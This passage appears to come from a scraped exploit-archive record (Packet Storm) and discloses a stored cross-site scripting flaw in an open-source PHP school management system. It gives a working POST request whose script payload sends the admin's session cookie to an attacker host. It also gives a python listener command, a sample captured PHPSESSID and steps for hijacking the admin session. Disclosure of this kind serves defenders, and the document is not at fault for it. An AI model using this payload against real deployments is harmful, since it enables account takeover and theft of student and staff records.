The contact form located at\\n \/req\/contact.php fails to sanitize the full_name and message\\n parameters before storing them in the database. When an\\n administrator views the messages panel at \/admin\/message.php,\\n the stored payload executes within the admin’s browser context.\\n This allows an unauthenticated attacker to steal the admin\\n session cookie and perform a full account takeover.\\n \\n == Affected Parameters ==\\n \\n – full_name\\n – message\\n \\n == Affected Files ==\\n \\n – \/req\/contact.php (unsanitized input stored)\\n – \/admin\/message.php (payload execution)\\n \\n == Steps to Reproduce ==\\n \\n 1. Navigate to the contact form:\\n http:\/\/TARGET\/school-management-system-php\/\\n \\n 2. Intercept the POST request and inject the payload\\n into the full_name or message parameter:\\n \\n POST \/school-management-system-php\/req\/contact.php HTTP\/1.1\\n Host: TARGET\\n Content-Type: application\/x-www-form-urlencoded\\n \\n email=attacker@evil.com\\u0026full_name=\\u003cscript\\u003enew Image().src=’http:\/\/ATTACKER:8888\/?c=’+document.cookie\\u003c\/script\\u003e\\u0026message=hello\\n \\n 3. Start a listener on the attacker machine:\\n \\n python3 -m http.server 8888\\n \\n 4. Wait for the administrator to visit the messages panel:\\n http:\/\/TARGET\/school-management-system-php\/admin\/message.php\\n \\n 5. The attacker’s listener receives the admin session cookie:\\n \\n GET \/?c=PHPSESSID=ao7emtlus8bf87dkpumutl4v3q HTTP\/1.1\\n \\n 6. Use the captured session cookie to access the admin panel\\n without credentials by setting:\\n \\n Cookie: PHPSESSID=ao7emtlus8bf87dkpumutl4v3q\\n \\n Then navigate to:\\n http:\/\/TARGET\/school-management-system-php\/admin\/\\n \\n == Impact ==\\n \\n An unauthenticated attacker can submit a malicious payload\\n via the public contact form. Once the administrator views\\n the messages, the attacker receives the admin PHPSESSID and\\n gains full administrative access to the application including\\n student records, teacher data and system configuration.\\n \\n \\n == References ==\\n \\n https:\/\/owasp.org\/www-community\/attacks\/xss\/\\n https:\/\/github.com\/codingWithElias\/school-management-system-php”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220054″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220054\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
